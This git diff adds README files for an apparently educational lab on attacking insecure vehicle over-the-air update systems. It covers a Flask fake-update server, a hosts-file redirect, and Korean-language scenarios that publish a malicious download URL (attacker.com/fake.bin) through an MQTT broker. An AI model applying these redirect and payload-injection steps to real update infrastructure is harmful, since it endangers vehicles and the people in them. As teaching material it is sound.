diff --git a/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md b/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md
index 8b13789..28e85a2 100644
--- a/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md
+++ b/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md
@@ -1 +1,125 @@
+# OTA MITM Attack Simulation
 
+This project simulates a Man-In-The-Middle (MITM) attack on an insecure OTA (Over-The-Air) update system. The attacker intercepts and redirects OTA requests, delivering a malicious update file instead of the legitimate one.
+
+## Assumptions
+
+- The attacker has already compromised the proxy server.
+- The vehicle’s communication module makes OTA requests using domain names (e.g., `ota.com`).
+- The proxy server, under the attacker's control, can inspect and modify traffic.
+- The OTA server lacks authentication, integrity checks, and encryption.
+- The vehicle does not verify signatures or hashes on received files.
+
+---
+
+## Attack Scenario (Attacker’s Perspective)
+
+### Step 1: Firmware Update Uploaded to OTA Server (Baseline Assumption)
+- The legitimate OTA server hosts a new firmware file.
+- It is published at a downloadable URL.
+- A notice is sent out that an update is available.
+
+### Step 2: Vehicle Makes OTA Request
+- The vehicle's communication module sends an OTA request to `http://ota.com`.
+- To fetch the file, it needs to resolve the domain to an IP.
+- The attacker intercepts the IP resolution response and replaces it with the attacker’s server IP.
+- From the vehicle’s perspective, `ota.com` now points to the attacker-controlled server.
+
+### Step 3: Attacker Hosts a Fake OTA Server
+- The attacker operates a malicious OTA server that mimics the real one.
+- The fake server responds with a crafted `fake_ota_update.bin`.
+- The file mimics the format of the real update (headers, version, etc.) but contains malicious code.
+- Optionally, the attacker recomputes the hash and signature fields to match the file content.
+- Alternatively, the attacker may deliver an old vulnerable version (rollback attack).
+
+### Step 4: Vehicle Downloads Malicious OTA File
+- The vehicle downloads the file, assuming it’s legitimate.
+- If integrity verification is skipped or bypassed, the malicious update is accepted.
+- The update is passed to the ECU, which applies it without further verification.
+- The attacker gains the ability to remotely control or disrupt the vehicle.
+
+---
+
+## Additional Attack Variants
+
+- **Rollback attack**: Serving outdated vulnerable firmware.
+- **Hash collision attack**: Reusing the same hash in the OTA package.
+- **Fake version metadata**: Tricking version checks by spoofing metadata.
+- **Signed-but-malicious file**: When code signing is not enforced.
+
+---
+
+## Step-by-Step Simulation
+
+### Step 1: Create a Fake OTA Server
+
+```python
+# fake_ota_server.py
+
+from flask import Flask, send_file
+
+app = Flask(__name__)
+
+@app.route("/ota")
+def send_fake_file():
+    return send_file("fake_ota_update.bin", as_attachment=True)
+
+if __name__ == "__main__":
+    app.run(host="0.0.0.0", port=8000)
+```
+
+#### Explanation
+
+- A simple Flask server listens on port 8000.
+- When /ota is accessed, it returns the fake binary file.
+- The .bin file imitates a real OTA update.
+
+### Step 2: Simulate the Vehicle's Communication Module
+
+```python
+# vehicle_module.py
+
+import requests
+
+url = "http://ota.com:8000/ota"
+
+print("[Vehicle] Sending OTA update request...")
+
+response = requests.get(url)
+
+if response.status_code == 200:
+    with open("downloaded_ota.bin", "wb") as f:
+        f.write(response.content)
+    print("[Vehicle] OTA file received! Saved as downloaded_ota.bin")
+else:
+    print("[Vehicle] Failed to download OTA file. Status code:", response.status_code)
+```
+
+#### Explanation
+
+- Sends an HTTP GET request to `http://ota.com:8000/ota`.
+- If successful, saves the file as `downloaded_ota.bin`.
+- Simulates a vehicle blindly trusting the update file.
+
+## Configuration (for local testing)
+### 1. Modify `hosts` file on your machine (Windows only)
+To redirect `ota.com` to your local attacker server:
+1. Run Notepad as Administrator
+2. Open: `C:\Windows\System32\drivers\etc\hosts`
+3. Add the following line:
+```
+127.0.0.1 ota.com
+```
+4. Save and close
+
+## Disclaimer
+This simulation is for educational and research purposes only. Never use these techniques against real vehicles or systems. Always get permission before performing security testing.
+
+## File Structure
+```graphql
+.
+├── fake_ota_server.py        # Fake OTA server (attacker)
+├── vehicle_module.py         # Simulated vehicle requesting the OTA file
+├── fake_ota_update.bin       # Malicious binary (crafted by attacker)
+└── README.md                 # This file
+```
\ No newline at end of file
diff --git a/attack_scenarios/supply_chain_attack/README.md b/attack_scenarios/supply_chain_attack/README.md
index 046a119..99dc29e 100644
--- a/attack_scenarios/supply_chain_attack/README.md
+++ b/attack_scenarios/supply_chain_attack/README.md
@@ -3,21 +3,60 @@
 ## 공격 시나리오 1: 정식 OTA 파일 업로드 웹페이지를 통해 악성 코드 업데이트 [Level 1]
 
 ### 공격 시나리오 전제 조건
-파일을 업로드하는 웹사이트의 URL IP 주소값(혹은 도메인)을 공격자가 획득한 것으로 가정한다.
+
+- 파일을 업로드하는 웹사이트의 URL IP 주소값(혹은 도메인)을 공격자가 획득한 것으로 가정한다.
+- OTA 서버에 업로드된 파일을 검증하는 무결성 검사, 서명 확인 절차가 존재하지 않는다.
+- OTA 서버에서 업로드된 파일은 인증되지 않은 차량에게도 배포 가능한 구조라고 가정한다.
+- 프록시 서버는 이미 공격자가 장악한 상태로 트래픽 감시랑 변조가 가능하다.
+- OTA 업데이트 파일이 차량의 통신 모듈로 전송될 때의 IP 주소를 알려주는 응답을 가로챌 수 있고, 재지정이 가능하다.
 
 ### 공격 시나리오 수행 방법
+
+#### 1단계(가정): 정상 OTA 서버에 파일 업로드
+- 공격자는 차량 ECU에 악성 동작을 유발할 수 있는 .bin 확장자의 악성 펌웨어 파일을 사전 생성한다.
+- OTA 서버는 업로드된 펌웨어 파일을 업데이트 대상 리스트에 자동 등록한다.
+- 업데이트가 되었다는 공지를 한다.
+  
+#### 2단계: 차량 통신 모듈이 OTA 서버에 요청 전송
+- OTA 대상 차량은 ota.com를 통해 OTA 공지 및 파일을 확인한다.
+- OTA 서버는 정상처럼 보이는 응답을 반환하고, 공격자가 업로드한 악성 OTA 파일의 경로를 함께 전달한다.
+- OTA 통신은 암호화나 서버 인증 없이 이루어지고 있다고 가정한다.
+
+#### 3단계: 차량이 악성 OTA 파일 다운로드
+- 차량의 통신 모듈은 OTA 서버로부터 응답받은 경로에 접근해 악성 .bin 파일을 그대로 다운로드한다.
+- 이 파일은 헤더/버전/파일 구조가 정상 파일과 유사하여 차량은 이를 정상 업데이트 파일로 인식한다.
+
+#### 4단계: ECU가 악성 OTA 파일 설치
+- 차량 통신 모듈은 해당 파일을 각 ECU에 배포하고 ECU는 디지털 서명 검증이나 버전 비교 없이 그대로 설치한다.
+
 1. 공격자는 타겟 ECU에 주입할 악성 펌웨어/소프트웨어에 해당하는 .bin 파일을 생성한다.
 2. OTA 파일을 업로드하는 정식 웹사이트를 통해 .bin 파일을 업로드한다.
 3. 인증이 없는 차량은 해당 악성 파일을 설치한다.
+
 ---
 
 ## 공격 시나리오 2: MQTT broker에 악성 코드 혹은 URL publishing [Level 1]
 
 ### 공격 시나리오 전제 조건
-인증된 차량 해킹 하여 OEM에서 활용 중인 MQTT Broker의 IP를 획득한 것으로 가정한다.
+
+- 공격자는 인증된 차량을 해킹하여 OEM에서 사용하는 MQTT Broker 주소(IP)를 확보한 상태로 가정한다.
+- MQTT 서버는 topic 권한 검증 또는 payload 필터링 기능이 없는 상태로 운영된다.
 
 ### 공격 시나리오 수행 방법
-1. MQTT broker에 악성 파일 혹은 펌웨어/소프트웨어 다운로드 URL을 publish 한다.
-2. Broker는 해당 정보를 topic이 일치하는 차량 전체에 방송한다.
-3. 인증이 없는 차량은 해당 악성 파일을 설치한다.
----
+
+#### 1단계: 공격자가 MQTT Broker에 악성 데이터 publish
+- 공격자는 악성 OTA 파일을 직접 보내는 것이 아니라 OTA 파일을 다운받을 수 있는 URL을 특정 topic에 publish한다.
+    예: `{"ota_url": "http://attacker.com/fake.bin"}`
+  
+#### 2단계: Broker가 전체 차량에게 메시지 broadcast
+- MQTT Broker는 해당 topic을 구독하고 있는 모든 차량에 해당 데이터를 broadcast한다.
+- OTA 관련 topic(`ota/update/announce`)에 대한 인증이나 무결성 검증이 생략된다.
+  
+#### 3단계: 차량이 악성 URL의 OTA 파일을 다운로드
+- 차량 통신 모듈은 수신된 메시지에 포함된 URL로 접근한다.
+- 정상으로 위장된 악성 OTA 파일을 다운로드한다.
+- 이때 공격자는 Flask 기반 가짜 OTA 서버를 운영중이다.
+
+#### 4단계: 차량이 악성 OTA 파일 설치
+- 차량은 받은 파일을 정상 OTA 파일로 오인하고 각 ECU에 배포한다.
+- ECU는 무결성 검증 없이 설치를 진행하며 악성 명령이 실행되어 원격 제어나 시스템 오작동이 발생할 수 있다.